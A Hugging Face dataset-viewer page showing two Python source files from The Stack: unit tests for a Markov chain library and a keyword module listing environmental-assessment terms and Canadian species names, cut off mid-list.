xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

1bf46aaa6ab9e14cc4a7054440dee43e7bc7fa71

1,728

py

Python

tests/api_tests.py

ownaginatious/markhov-chain

dc62afb142a6fa62261c5f3f0714feb211d71c70

[ "MIT" ]

null

tests/api_tests.py

ownaginatious/markhov-chain

dc62afb142a6fa62261c5f3f0714feb211d71c70

[ "MIT" ]

null

tests/api_tests.py

ownaginatious/markhov-chain

dc62afb142a6fa62261c5f3f0714feb211d71c70

[ "MIT" ]

null

from chai import Chai from markhov_chain import MarkhovChain class ApiTests(Chai): def setUp(self): super(ApiTests, self).setUp() self.mc = MarkhovChain() def test_add_transition(self): self.mc.add_transition("A", "B") self.mc.add_transition("A", "B") self.mc.add_transition("A", "B") self.mc.add_transition("B", "A") self.mc.add_transition("B", "C") self.mc.add_transition("C", "A") expected = { 'A': { 'B': 3}, 'B': { 'A': 1, 'C': 1 }, 'C': { 'A': 1 } } assertEqual(self.mc._transition_dump(), expected) def test_remove_transition_singles(self): self.mc.add_transition("A", "B") self.mc.add_transition("A", "B") self.mc.add_transition("A", "B") self.mc.add_transition("B", "A") self.mc.add_transition("B", "C") self.mc.add_transition("C", "A") self.mc.remove_transition("A", "B") self.mc.remove_transition("B", "A") self.mc.remove_transition("B", "A") self.mc.remove_transition("C", "A") expected = { 'A': { 'B': 2 }, 'B': { 'C': 1 } } assertEqual(self.mc._transition_dump(), expected) def test_remove_transition_all(self): self.mc.add_transition("A", "B") self.mc.add_transition("A", "B") self.mc.add_transition("A", "B") self.mc.add_transition("B", "A") self.mc.add_transition("B", "C") self.mc.add_transition("B", "C") self.mc.add_transition("B", "C") self.mc.add_transition("C", "A") self.mc.remove_transition("A", "B", all=True) self.mc.remove_transition("B", "A", all=True) self.mc.remove_transition("B", "A", all=True) self.mc.remove_transition("B", "C", all=True) self.mc.remove_transition("B", "C", all=True) expected = { 'C': { 'A': 1 } } assertEqual(self.mc._transition_dump(), expected)

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40391d15f07324eaadf5dcb52472979eb58426df

90,245

py

Python

berdi/Section_05_VEC_Labeling_for_Tables/keywords.py

iVibudh/CER-ESA-Phase2

297c07ac5e8f9af484c70ce4c6620b3741621cdd

[ "MIT" ]

null

berdi/Section_05_VEC_Labeling_for_Tables/keywords.py

iVibudh/CER-ESA-Phase2

297c07ac5e8f9af484c70ce4c6620b3741621cdd

[ "MIT" ]

null

berdi/Section_05_VEC_Labeling_for_Tables/keywords.py

iVibudh/CER-ESA-Phase2

297c07ac5e8f9af484c70ce4c6620b3741621cdd

[ "MIT" ]

null

import pickle import nltk from nltk.corpus import stopwords from nltk.stem.porter import * from nltk.tokenize import word_tokenize Landscape_terrain_and_weather = """Physical and Meteorological Environment Physical Environment Meteorological Environment Precipitation Snowfall Wind rain Mean temperatures Slope Geotechnical Slumping Subsidence Weather Erosion Ice Permafrost Climate trend climate water erosion wind erosion acid-generating rock temperature physical meteorological landslides mudflows slumping subsidence seismicity flooding migrating watercourses eroding banks extreme weather events peak flow regime ice jams acid rock climate variability ground conditions thaw till earthquake avalanche sloping topography elevation terrain landscape weather physiography bedrock geology natural hazard""" Soil = """Soil Productivity Soil Agriculture Topsoil Subsoil Soil horizon Drainage Erosion soil contamination CCME Canadian Council of Ministers of the Environment Soil compaction Soil structure Soil classification Soil handling Containment reclamation thickness of horizon tilth grubbing soil quality salinity sediments rocks minerals sand chernozem DVG Dunvargan calcareous CRW sand sandy Glaciofluvial boulders gravel silt clay stone stoniness""" Plants = """Vegetation Plant planting Rare plant Boreal Grassland Prairie Forest forested Clearing plant community orchid orchard Weeds Invasive species invasive plants Seed mix Herbicide Tree leaf branch Growth Old growth Biodiversity forestry clubroot wood spruce fir birch pine aspen tamarack willow beech maple black walnut hickory oak redcedar hemlock Douglas-fir genus agricultural root seed mulcher mulch bentgrass sedge carex wood moss bulrush oatgrass mannagrass flower androgynum Aulacomnium undulatum Atrichum wheatgrass parviflora luzula crawfordii Achnatherum needlegrass eleocharis reedgrass calamagrostis latifolia Elymus grain wildrye meadow speargrass shrub chokecherry Gattinger\'s Agalinis Agalinis gattingeri Rough Agalinis Agalinis aspera Skinner\'s Agalinis Agalinis skinneriana Scarlet Ammannia Ammannia robusta Short-rayed Alkali Aster Symphyotrichum frondosum Eastern Mountain Avens Geum peckii Deltoid Balsamroot Balsamorhiza deltoidea Tall Beakrush Rhynchospora macrostachya Cherry Birch Betula lenta Bluehearts Buchnera americana Fernald\'s Braya Braya fernaldii Hairy Braya Braya pilosa Long\'s Braya Braya longii Tall Bugbane Actaea elata Bashful Bulrush Trichophorum planifolium Slender Bush-clover Lespedeza virginica California Buttercup Ranunculus californicus Water-plantain Buttercup Ranunculus alismifolius Butternut Juglans cinerea Eastern Prickly Pear Cactus Opuntia humifusa Spalding\'s Campion Silene spaldingii Coastal Scouler\'s Catchfly Silene scouleri grandis Muhlenberg\'s Centaury Centaurium muehlenbergii American Chestnut Castanea dentata Colicroot Aletris farinosa Slender Collomia Collomia tenella American Columbo Frasera caroliniensis Pink Coreopsis Coreopsis rosea Eastern Flowering Dogwood Cornus florida Contorted-pod Evening-primrose Camissonia contorta Southern Maidenhair Fern Adiantum capillus-veneris Eastern Prairie Fringed-orchid Platanthera leucophaea Western Prairie Fringed-orchid Platanthera praeclara Plymouth Gentian Sabatia kennedyana White Prairie Gentian Gentiana alba American Ginseng Panax quinquefolius Virginia Goat\'s-rue Tephrosia virginiana Showy Goldenrod Solidago speciosa Rayless Goldfields Lasthenia glaberrima Forked Three-awned Grass Aristida basiramea Fascicled Ironweed Vernonia fasciculata Tweedy\'s Lewisia Lewisiopsis tweedyi Small-flowered Lipocarpha Lipocarpha micrantha Seaside Birds-foot Lotus Lotus formosissimus Furbish\'s Lousewort Pedicularis furbishiae Dense-flowered Lupine Lupinus densiflorus Prairie Lupine Lupinus lepidus Streambank Lupine Lupinus rivularis Virginia Mallow Sida hermaphrodita White Meconella Meconella oregana Coast Microseris Microseris bigelovii Pink Milkwort Polygala incarnata Hoary Mountain-mint Pycnanthemum incanum Red Mulberry Morus rubra Phantom Orchid Cephalanthera austiniae Bearded Owl-clover Triphysaria versicolor Grand Coulee Owl-clover Orthocarpus barbatus Rosy Owl-clover Orthocarpus bracteosus Victoria\'s Owl-clover Castilleja victoriae Golden Paintbrush Castilleja levisecta Branched Phacelia Phacelia ramosissima Whitebark Pine Pinus albicaulis Heart-leaved Plantain Plantago cordata Large Whorled Pogonia Isotria verticillata Nodding Pogonia Triphora trianthophora Small Whorled Pogonia Isotria medeoloides Ogden\'s Pondweed Potamogeton ogdenii Fragrant Popcornflower Plagiobothrys figuratus Stoloniferous Pussytoes Antennaria flagellaris Engelmann\'s Quillwort Isoetes engelmannii Quebec Rockcress Boechera quebecensis Kellogg\'s Rush Juncus kelloggii Pink Sand-verbena Abronia umbellata Small-flowered Sand-verbena Tripterocalyx micranthus Dwarf Sandwort Minuartia pusilla False Hop Sedge Carex lupuliformis Foothill Sedge Carex tumulicola Juniper Sedge Carex juniperorum Lindley\'s False Silverpuffs Uropappus lindleyi Brook Spike-primrose Epilobium torreyi Dense Spike-primrose Epilobium densiflorum Bent Spike-rush Eleocharis geniculata Bent Spike-rush Eleocharis geniculata Horsetail Spike-rush Eleocharis equisetoides Thread-leaved Sundew Drosera filiformis Small-flowered Tonella Tonella tenella Toothcup Rotala ramosior Cucumber Tree Magnolia acuminata Bog Bird\'s-foot Trefoil Lotus pinnatus Drooping Trillium Trillium flexipes Howell\'s Triteleia Triteleia howellii Bird\'s-foot Violet Viola pedata Yellow Montane Violet praemorsa praemorsa Viola praemorsa ssp. praemorsa Barrens Willow Salix jejuna Spotted Wintergreen Chimaphila maculata Wood-poppy Stylophorum diphyllum Tall Woolly-heads Psilocarphus elatior Dwarf Woolly-heads Psilocarphus brevissimus Batwing Vinyl Lichen Leptogium platynum Boreal Felt Lichen Erioderma pedicellatum Pale-bellied Frost Lichen Physconia subpallida Seaside Centipede Lichen Heterodermia sitchensis Vole Ears Lichen Rusty Cord-moss Entosthodon rubiginosus Acuteleaf Small Limestone Moss Seligeria acutifolia Margined Streamside Moss Scouleria marginata Nugget Moss Microbryum vlassovii Poor Pocket Moss Fissidens pauperculus Rigid Apple Moss Bartramia stricta Roell\'s Brotherella Moss Brotherella roellii Silver Hair Moss Fabronia pusilla Griscom’s Arnica Arnica griscomii ssp. griscomii Anticosti Aster Symphyotrichum anticostense Gulf of St. Lawrence Aster Symphyotrichum laurentianum Western Silvery Aster Symphyotrichum sericeum White Wood Aster Eurybia divaricata Willowleaf Aster Symphyotrichum praealtum Eastern Baccharis Baccharis halimifolia Branched Bartonia Bartonia paniculata ssp. paniculata Dense Blazing Star Liatris spicata Kentucky Coffee-tree Gymnocladus dioicus Tiny Cryptantha Cryptantha minima Lakeside Daisy Hymenoxys herbacea Deerberry Vaccinium stamineum Gray\'s Desert-parsley Lomatium grayi Lemmon\'s Holly Fern Polystichum lemmonii Mountain Holly Fern Polystichum scopulinum Victorin\'s Gentian Gentianopsis virgata ssp. victorinii Showy Goldenrod Solidago speciosa Goldenseal Hydrastis canadensis Smooth Goosefoot Chenopodium subglabrum Round-leaved Greenbrier Smilax rotundifolia Dwarf Hackberry Celtis tenuifolia Wild Hyacinth Camassia scilloides Van Brunt\'s Jacob’s-ladder Polemonium vanbruntiae Small White Lady\'s-slipper Cypripedium candidum Hare-footed Locoweed Oxytropis lagopus Macoun\'s Meadowfoam Limnanthes macounii Mexican Mosquito-fern Azolla mexicana Slender Mouse-ear-cress Halimolobos virgata Cliff Paintbrush Castilleja rupicola Sweet Pepperbush Clethra alnifolia Showy Phlox Phlox speciosa ssp. occidentalis Slender Popcornflower Plagiobothrys tenellus Bolander\'s Quillwort Isoetes bolanderi False Rue-anemone Enemion biternatum Bear\'s-foot Sanicle Sanicula arctopoides Purple Sanicle Sanicula bipinnatifida Soapweed Yucca glauca Western Spiderwort Tradescantia occidentalis Hill\'s Thistle Cirsium hillii Toothcup Rotala ramosior Purple Twayblade Liparis liliifolia American Water-willow Justicia americana Green-scaled Willow Salix chlorolepis Blunt-lobed Woodsia Woodsia obtusa Seaside Bone Hypogymnia heterophylla Black-foam Lichen Anzia colpodes Crumpled Tarpaper Lichen Collema coniophilum Wrinkled Shingle Lichen Pannaria lurida Eastern Waterfan Peltigera hydrothyria Porsild\'s Bryum Mielichhoferia macrocarpa Alkaline Wing-nerved Moss Pterygoneurum kozlovii Haller\'s Apple Moss Bartramia halleriana Spoon-leaved Moss Bryoandersonia illecebra Blue Ash Fraxinus quadrangulata Crooked-stem Aster Symphyotrichum prenanthoides Nahanni Aster Symphyotrichum nahanniense White-top Aster Sericocarpus rigidus Vancouver Island Beggarticks Bidens amplissima Western Blue Flag Iris missouriensis Buffalograss Bouteloua dactyloides American Hart\'s-tongue Fern Asplenium scolopendrium Coastal Wood Fern Dryopteris arguta Goldencrest Lophiola aurea Houghton\'s Goldenrod Solidago houghtonii Riddell\'s Goldenrod Solidago riddellii Mackenzie Hairgrass Deschampsia mackenzieana Common Hoptree Ptelea trifoliata Tuberous Indian-plantain Arnoglossum plantagineum Dwarf Lake Iris Iris lacustris Eastern Lilaeopsis Lilaeopsis chinensis Lyall\'s Mariposa Lily Calochortus lyallii Fernald\'s Milk-vetch Astragalus robbinsii var. fernaldii Water Pennywort Hydrocotyle umbellata Beach Pinweed Lechea maritima Yukon Podistera Podistera yukonensis Hill\'s Pondweed Potamogeton hillii Hairy Prairie-clover Dalea villosa Prototype Quillwort Isoetes prototypus Redroot Lachnanthes caroliniana Climbing Prairie Rose Rosa setigera Swamp Rose-mallow Hibiscus moscheutos New Jersey Rush Juncus caesariensis Spiked Saxifrage Micranthes spicata Baikal Sedge Carex sabulosa Tubercled Spike-rush Eleocharis tuberculosa Floccose Tansy Tanacetum huronense var. floccosum Pitcher\'s Thistle Cirsium pitcheri Athabasca Thrift Armeria maritima interior Victorin\'s Water-hemlock Cicuta maculata var. victorinii Yukon Wild Buckwheat Eriogonum flavum var. aquilinum Felt-leaf Willow Salix silicicola Sand-dune Short-capsuled Willow Salix brachycarpa var. psammophila Turnor\'s Willow Salix turnorii Dwarf Woolly-heads Psilocarphus brevissimus Large-headed Woolly Yarrow Achillea millefolium var. megacephalum Banded Mosses Cord-moss Entosthodon fascicularis Columbian Carpet Moss Bryoerythrophyllum columbianum Twisted Oak Moss Syntrichia laevipila Tiny Tassel Crossidium seriatum Frosted Lichens Glass-whiskers Sclerophora peronella Flooded Jellyskin Leptogium rivulare Blue Felt Lichen Degelia plumbea Boreal Felt Lichen Erioderma pedicallatum Cryptic Paw Lichen Nephroma occultum Oldgrowth Specklebelly Lichen Pseudocyphellaria rainierensis Peacock Vinyl Lichen Leptogium polycarpum Mountain Crab-eye Acroscyphus sphaerophoroides Western Waterfan Peltigera gowardii""" Water = """Water Quality and Quantity Water waterbody water body watercourse evaporation transpiration Surface water Ground water Runoff Contamination contaminant Water use Hydrologic hydrological hydro hydrostatic salinity blasting Withdrawal Flow Peak Basin Inter-basin Water Quality Water quality testing Water table Containment Sediment sewer waste wastewater biosolids sludge septage groundwater groundwater-related aquifers streamflow aquatics acquatics river hydrometric watershed waterfall sea ocean lake pond fjords wadis runs reservoir lagoon bay harbor well well-water surface-water surfacewater hot spring creek tidal subtidal mercury water contamination""" Fish = """Fish Fish Habitat fish-bearing fisheries Fisheries and Oceans Canada mercury water contamination deleterious DFO Fisheries and Oceans Local fisheries Trout Fisheries Act Offsetting Instream work in-stream work Restricted activity period Fish-bearing water body Riparian acquatic Aquatic Aquatic invasive species Spawning Fry fingerling alevin chlorine chlorinated Sport fishery Spawning deterrent spawning period Stream River In-stream instream Wetted width substrate salmon oncorhynchus walleye pike crappie redhorse pumpkinseed fish bowfin bass catfish sunfish bluegill spotted gar muskellunge ruffe yellow perch shiner sucker whitefish cisco sea ocean lake pond bay subtidal Striped Bass Morone saxatilis Silver Chub Macrhybopsis storeriana Lake Chubsucker Erimyzon sucetta Shortnose Cisco Coregonus reighardi Spring Cisco Coregonus sp. Nooksack Dace Rhinichthys cataractae ssp. Redside Dace Clinostomus elongatus Speckled Dace Rhinichthys osculus Channel Darter Percina copelandi Channel Darter Percina copelandi Spotted Gar Lepisosteus oculatus Western Brook Lamprey Lampetra richardsoni Northern Madtom Noturus stigmosus Copper Redhorse Moxostoma hubbsi Atlantic Salmon Salmo salar Basking Shark Cetorhinus maximus White Shark Carcharodon carcharias Carmine Shiner Notropis percobromus Rainbow Smelt Osmerus mordax Rainbow Smelt Osmerus mordax Enos Lake Benthic Threespine Stickleback Gasterosteus aculeatus Enos Lake Limnetic Threespine Stickleback Misty Lake Lentic Threespine Stickleback Misty Lake Lotic Threespine Stickleback Vananda Creek Benthic Threespine Stickleback Vananda Creek Limnetic Threespine Stickleback Gasterosteus aculeatus White Sturgeon Acipenser transmontanus Rainbow Trout Oncorhynchus mykiss Atlantic Whitefish Coregonus huntsmani Eastern Sand Darter Ammocrypta pellucida Eastern Sand Darter Ammocrypta pellucida Vancouver Lamprey Entosphenus macrostomus Plains Minnow Hybognathus placitus Pugnose Minnow Opsopoeodus emiliae Western Silvery Minnow Hybognathus argyritis Black Redhorse Moxostoma duquesnei Coastrange Sculpin Cottus aleuticus Rocky Mountain Sculpin Cottus sp. Pugnose Shiner Notropis anogenus Silver Shiner Notropis photogenis Spotted Wolffish Anarhichas minor Mountain Sucker Catostomus platyrhynchus Salish Sucker Catostomus sp. cf. catostomus Bull Trout Salvelinus confluentus Westslope Cutthroat Trout Oncorhynchus clarkii lewisi Northern Wolffish Anarhichas denticulatus Bigmouth Buffalo Ictiobus cyprinellus Channel Darter Percina copelandi Dolly Varden Salvelinus malma malma Banded Killifish Fundulus diaphanus Upper Great Lakes Kiyi Coregonus kiyi kiyi Northern Brook Lamprey Ichthyomyzon fossor Silver Lamprey Ichthyomyzon unicuspis Cutlip Minnow Exoglossum maxillingua Grass Pickerel Esox americanus vermiculatus River Redhorse Moxostoma carinatum Rougheye Rockfish type I Sebastes sp. type I Rougheye Rockfish type II Sebastes sp. type II Yelloweye Rockfish Sebastes ruberrimus Columbia Sculpin Cottus hubbsi Deepwater Sculpin Myoxocephalus thompsonii Rocky Mountain Sculpin Cottus sp. Shorthead Sculpin Cottus confusus Bluntnose Sixgill Shark Hexanchus griseus Bridle Shiner Notropis bifrenatus Giant Threespine Stickleback Gasterosteus aculeatus Unarmoured Threespine Stickleback Gasterosteus aculeatus Green Sturgeon Acipenser medirostris Lake Sturgeon Acipenser fulvescens Shortnose Sturgeon Acipenser brevirostrum Mountain Sucker Catostomus platyrhynchus Spotted Sucker Minytrema melanops Northern Sunfish Lepomis peltastes Longspine Thornyhead Sebastolobus altivelis Tope Galeorhinus galeus Blackstripe Topminnow Fundulus notatus Bull Trout Salvelinus confluentus Westslope Cutthroat Trout Oncorhynchus clarkii lewisi Warmouth Lepomis gulosus Atlantic Wolffish Anarhichas lupus""" Wetlands = """Wetlands Class (wetland class) wetland Bog Fen Marsh Swamp Shallow water Wetland function Hydrological function Drainage area Canadian wetland classification system Federal policy on wetland conservation Wetland monitoring water recharge potholes ponds peatbogs mires mangrove forest carr pocosin floodplains vernal pool baygall slough""" Wildlife = """Wildlife and Wildlife Habitat wildlife wildlife habitat nocturnal bat trees hibernation migratory birds migratory bird sanctuary MBCA migratory birds convention act Nesting foraging Restricted activity period Mammal Ungulate Amphibian Reptile Breeding eggs Den migration staging movement corridors forest interior denning Wintering overwintering national park national wildlife reserve national wildlife area world biosphere reserve Hibernaculum hibernacula Riparian habitat Old growth habitat Sensitive period Sensory disturbance Mortality Mortality risk Habitat alteration Habitat loss Habitat destruction Range Population Distribution Sanctuary sanctuaries Important Bird Area Bat caribou bird goose swans frogs toads salamanders newts caecilians furbearing reptile invertebrate rattlesnake snake waterbird bear moose bat owl beaver moose polar bear bison puffin lynx deer wolf reindeer bear cougar goose coyote wolverine raccoon elk crane porcupine fox hare loon marmot rabbit bobcat owl rattlesnake insect bug weasel otter skunk mollusk mollusc reptile amphibian mineral lick minerallick hunting trapping American Badger jacksoni jaksoni Badger Taxidea taxus jacksoni American Badger jeffersonii Taxidea taxus jeffersonii American Badger jeffersonii jeffersonii Taxidea taxus jeffersonii Tri-coloured Bat Perimyotis subflavus Peary Caribou Caribou Rangifer tarandus pearyi Woodland Caribou Rangifer tarandus caribou Ord\'s Kangaroo Rat Dipodomys ordii Vancouver Island Marmot Marmota vancouverensis Townsend\'s Mole Scapanus townsendii Western Harvest Mouse dychei dychei Reithrodontomys megalotis dychei Little Brown Myotis Myotis Myotis lucifugus Northern Myotis Myotis septentrionalis Northern Bobwhite Colinus virginianus Yellow-breasted Chat auricollis auricollis Icteria virens auricollis Yellow-breasted Chat virens virens Icteria virens virens Whooping Crane Grus americana Eskimo Curlew Numenius borealis Acadian Flycatcher Empidonax virescens Horned Grebe Podiceps auritus Ivory Gull Pagophila eburnea Red Knot rufa rufa Calidris canutus rufa Streaked Horned Lark Eremophila alpestris strigata Barn Owl Tyto alba Burrowing Owl Athene cunicularia Spotted Owl caurina caurina Strix occidentalis caurina Mountain Plover Charadrius montanus Piping Plover circumcinctus circuinctus Charadrius melodus circumcinctus Piping Plover melodus melodus Charadrius melodus melodus King Rail Rallus elegans Greater Sage-Grouse urophasianus subspecies Centrocercus urophasianus urophasianus Williamson\'s Sapsucker Sphyrapicus thyroideus Pink-footed Shearwater Ardenna creatopus Loggerhead Shrike migrans migrans Lanius ludovicianus migrans Coastal Vesper Sparrow Pooecetes gramineus affinis Henslow\'s Sparrow Ammodramus henslowii Black Swift Cypseloides niger Roseate Tern Sterna dougallii Sage Thrasher Oreoscoptes montanus Cerulean Warbler Setophaga cerulea Kirtland\'s Warbler Dendroica kirtlandii Prothonotary Warbler Protonotaria citrea Red-headed Woodpecker Melanerpes erythrocephalus White-headed Woodpecker Picoides albolarvatus Cricket Frog Acris blanchardi Northern Leopard Frog Lithobates pipiens Oregon Spotted Frog Rana pretiosa Allegheny Mountain Dusky Salamander Desmognathus ochrophaeus Allegheny Mountain Dusky Salamander Desmognathus ochrophaeus Eastern Tiger Salamander Ambystoma tigrinum Jefferson Salamander Ambystoma jeffersonianum Northern Dusky Salamander Desmognathus fuscus Small-mouthed Salamander Ambystoma texanum Western Tiger Salamander Ambystoma mavortium Fowler\'s Toad Anaxyrus fowleri Eastern Reptiles Foxsnake Pantherophis gloydi Eastern Foxsnake Pantherophis gloydi Butler\'s Gartersnake Thamnophis butleri Greater Short-horned Lizard Phrynosoma hernandesi Massasauga Sistrurus catenatus Desert Nightsnake Hypsiglena chlorophaea Queensnake Regina septemvittata Blue Racer Coluber constrictor foxii Gray Ratsnake Pantherophis spiloides Leatherback Sea Turtle Dermochelys coriacea Leatherback Sea Turtle Dermochelys coriacea Loggerhead Sea Turtle Caretta caretta Five-lined Skink Plestiodon fasciatus Sharp-tailed Snake Contia tenuis Spiny Softshell Apalone spinifera Blanding\'s Turtle Emydoidea blandingii Spotted Turtle Clemmys guttata Western Painted Turtle Chrysemys picta bellii Broad-banded Forestsnail Allogona profunda Oregon Forestsnail Allogona townsendiana Proud Globelet Patera pennsylvanica Hotwater Physa Physella wrighti Island Blue Plebejus saepiolus insulanus Aweme Borer Papaipema aweme Hoptree Borer Prays atomocella Bogbean Buckmoth Hemileuca sp. Gypsy Cuckoo Bumble Bee Bombus bohemicus Rusty-patched Bumble Bee Bombus affinis Taylor\'s Checkerspot Euphydryas editha taylori Olive Clubtail Stylurus olivaceus Rapids Clubtail Gomphus quadricolor Riverine Clubtail Stylurus amnicola Skillet Clubtail Gomphus ventricosus Hungerford\'s Crawling Water Beetle Brychius hungerfordi Macropis Cuckoo Bee Epeoloides pilosulus Bert\'s Predaceous Diving Beetle Sanfilippodytes bertae Eastern Persius Duskywing Erynnis persius persius Okanagan Efferia Efferia okanagana Hine\'s Emerald Somatochlora hineana White Flower Moth Schinia bimatris Gold-edged Gem Schinia avemensis Behr\'s Hairstreak Satyrium behrii Half-moon Hairstreak Satyrium semiluna Mormon Metalmark Apodemia mormo Dusky Dune Moth Copablepharon longipenne Edwards\' Beach Moth Anarta edwardsii Five-spotted Bogus Yucca Moth Prodoxus quinquepunctellus Non-pollinating Yucca Moth Tegeticula corruptrix Sand-verbena Moth Copablepharon fuscum Yucca Moth Tegeticula yuccasella Maritime Ringlet Coenonympha nipisiquit Dakota Skipper Hesperia dacotae Poweshiek Skipperling Oarisma poweshiek Ottoe Skipper Hesperia ottoe False-foxglove Sun Moth Pyrrhia aurantiago Cobblestone Tiger Beetle Cicindela marginipennis Northern Barrens Tiger Beetle Cicindela patruela Wallis\' Dark Saltflat Tiger Beetle Cicindela parowana wallisi Pallid Bat Antrozous pallidus Wood Bison Bison bison athabascae Woodland Caribou Rangifer tarandus caribou Ermine haidarum subspecies Mustela erminea haidarum Grey Fox Urocyon cinereoargenteus Swift Fox Vulpes velox American Marten Martes americana atrata Black-tailed Prairie Dog Cynomys ludovicianus Short-tailed Birds Albatross Phoebastria albatrus Least Bittern Ixobrychus exilis Bobolink Dolichonyx oryzivorus Lark Bunting Calamospiza melanocorys Red Crossbill percna percna Loxia curvirostra percna Olive-sided Flycatcher Contopus cooperi Northern Goshawk laingi laingi Accipiter gentilis laingi Ross\'s Gull Rhodostethia rosea Ferruginous Hawk Buteo regalis Red Knot roselaari type Calidris canutus roselaari roselaari Chestnut-collared Longspur Calcarius ornatus McCown\'s Longspur Rhynchophanes mccownii Eastern Meadowlark Sturnella magna Marbled Murrelet Brachyramphus marmoratus Common Nighthawk Chordeiles minor Barn Owl Tyto alba Northern Saw-whet Owl brooksi brooksi Aegolius acadicus brooksi Sprague\'s Pipit Anthus spragueii Western Screech-owl kennicottii kennicottii Megascops kennicottii kennicottii Megascops kennicottii macfarlanei Loggerhead Shrike excubitorides excubitorides Lanius ludovicianus excubitorides Bank Swallow Riparia riparia Barn Swallow Hirundo rustica Chimney Swift Chaetura pelagica Bicknell\'s Thrush Catharus bicknelli Wood Thrush Hylocichla mustelina Canada Warbler Wilsonia canadensis Golden-winged Warbler Vermivora chrysoptera Louisiana Waterthrush Parkesia motacilla Whip-poor-will Caprimulgus vociferus Lewis\'s Woodpecker Melanerpes lewis Rocky Mountain Tailed Frog Ascaphus montanus Western Chorus Frog Pseudacris triseriata Coastal Giant Salamander Dicamptodon tenebrosus Spring Salamander Gyrinophilus porphyriticus Great Basin Spadefoot Spea intermontana Great Basin Reptiles Gophersnake Pituophis catenifer deserticola Massasauga Sistrurus catenatus Eastern Yellow-bellied Racer Coluber constrictor flaviventris Gray Ratsnake Pantherophis spiloides Western Rattlesnake Crotalus oreganos Eastern Ribbonsnake Thamnophis sauritus Eastern Hog-nosed Snake Heterodon platirhinos Blanding\'s Turtle Emydoidea blandingii Wood Turtle Glyptemys insculpta Dromedary Jumping-slug Hemphillia dromedarius Blue-grey Taildropper Prophysaon coeruleum Verna\'s Flower Moth Schinia verna Dun Skipper Euphyes vestris Sable Island Sweat Bee Lasioglossum sablense Audouin\'s Night-stalking Tiger Beetle Omus audouini Gibson\'s Big Sand Tiger Beetle Cicindela formosa gibsoni Badger taxus taxus Taxidea taxus taxus Spotted Bat Euderma maculatum Grizzly Bear Ursus arctos Polar Bear Ursus maritimus Mountain Beaver Aplodontia rufa Barren-ground Caribou Rangifer tarandus groenlandicus Woodland Caribou Rangifer tarandus caribou Nuttall\'s Cottontail nuttallii nuttallii Sylvilagus nuttallii nuttallii Eastern Mole Scalopus aquaticus Western Harvest Mouse megalotis subspecies Reithrodontomys megalotis megalotis Collared Pika Ochotona collaris Woodland Vole Microtus pinetorum Eastern Wolf Canis lupus lycaon Wolverine Gulo gulo Black-footed Birds Albatross Phoebastria nigripes Cassin\'s Auklet Ptychoramphus aleuticus Rusty Blackbird Euphagus carolinus Long-billed Curlew Numenius americanus Harlequin Duck Histrionicus histrionicus Peregrine Falcon anatum/tundrius Falco peregrinus anatum/tundrius Peregrine Falcon pealei subspecies Falco peregrinus pealei Barrow\'s Goldeneye Bucephala islandica Horned Grebe Podiceps auritus Western Grebe Aechmophorus occidentalis Evening Grosbeak Coccothraustes vespertinus Great Blue Heron fannini fannini Ardea herodias fannini Red Knot islandica subspecies Calidris canutus islandica Ancient Murrelet Synthliboramphus antiquus Flammulated Owl Otus flammeolus Short-eared Owl Asio flammeus Red-necked Phalarope Phalaropus lobatus Band-tailed Pigeon Patagioenas fasciata Yellow Rail Coturnicops noveboracensis Buff-breasted Sandpiper Tryngites subruficollis Baird\'s Sparrow Ammodramus bairdii Grasshopper Sparrow pratensis subspecies Ammodramus savannarum pratensis Savannah Sparrow princeps subspecies Passerculus sandwichensis princeps Eastern Wood-pewee Contopus virens Coastal Tailed Amphibians Ascaphus truei Northern Leopard Frog Lithobates pipiens Red-legged Frog Rana aurora Coeur d\'Alene Salamander Plethodon idahoensis Wandering Salamander Aneides vagrans Western Tiger Salamander Ambystoma mavortium Great Plains Toad Anaxyrus cognatus Western Toad Anaxyrus boreas Western Toad Anaxyrus boreas Rubber Boa Charina bottae Milksnake Lampropeltis triangulum Western Yellow-bellied Racer Coluber constrictor mormon Prairie Rattlesnake Crotalus viridis Eastern Ribbonsnake Thamnophis sauritus Five-lined Skink Plestiodon fasciatus Prairie Skink Plestiodon septentrionalis Western Skink Plestiodon skiltonianus Eastern Musk Turtle Sternotherus odoratus Eastern Painted Turtle Chrysemys picta picta Midland Painted Turtle Chrysemys picta marginata Northern Map Turtle Graptemys geographica Snapping Turtle Chelydra serpentina Western Painted Turtle Chrysemys picta bellii Lake Erie Watersnake Nerodia sipedon insularum Brook Floater Alasmidonta varicosa Warty Jumping-slug Hemphillia glandulosa Haida Gwaii Slug Staala gwaii Pygmy Slug Kootenaia burkei Sheathed Slug Zacoleus idahoensis Threaded Vertigo Nearctula sp. Magnum Mantleslug Magnipelta mycophaga Yellow-banded Bumble Bee Bombus terricola Vivid Dancer Argia vivida Greenish-white Grasshopper Hypochlora alba Red-tailed Leafhopper Aflexia rubranura Red-tailed Leafhopper Aflexia rubranura Mormon Metalmark Apodemia mormo Monarch Danaus plexippus Pale Yellow Dune Moth Copablepharon grandis Sonora Skipper Polites sonora Pygmy Snaketail Ophiogomphus howei Georgia Basin Bog Spider Gnaphosa snohomish Dune Tachinid Fly Germaria angustata Weidemeyer\'s Admiral Limenitis weidemeyerii orca Northern Abalone Haliotis kamtschatkana Rayed Bean Villosa fabalis Fawnsfoot Truncilla donaciformis Kidneyshell Ptychobranchus fasciolaris Lilliput Toxolasma parvum Salamander Mussel Simpsonaias ambigua Round Pigtoe Pleurobema sintoxia Northern Riffleshell Epioblasma torulosa rangiana Banff Springs Snail Physella johnsoni Snuffbox Epioblasma triquetra Atlantic Mud-piddock Barnea truncata Mapleleaf Quadrula quadrula Threehorn Wartyback Obliquaria reflexa Sea Otter Enhydra lutris Harbour Porpoise Phocoena phocoena Steller Sea Lion Eumetopias jubatus whale marine mammal marine organisms Bowhead Whale Balaena mysticetus Fin Whale Balaenoptera physalus Grey Whale Eschrichtius robustus Humpback Whale Megaptera novaeangliae Sowerby\'s Beaked Whale Brook Floater Alasmidonta varicosa Wavy-rayed Lampmussel Lampsilis fasciola Yellow Lampmussel Lampsilis cariosa Mapleleaf Quadrula quadrula Rocky Mountain Ridged Mussel Gonidea angulata Olympia Oyster Ostrea lurida Eastern Pondmussel Ligumia nasuta Rainbow Villosa iris Harbour Seal Lacs des Loups Marins Seal Phoca vitulina mellonae Pacific Water Shrew Sorex bendirii Whale Beluga Whale Delphinapterus leucas Blue Whale Balaenoptera musculus Blue Whale Balaenoptera musculus Killer Whale Orcinus orca North Atlantic Right Whale Eubalaena glacialis North Pacific Right Whale Eubalaena japonica Northern Bottlenose Whale 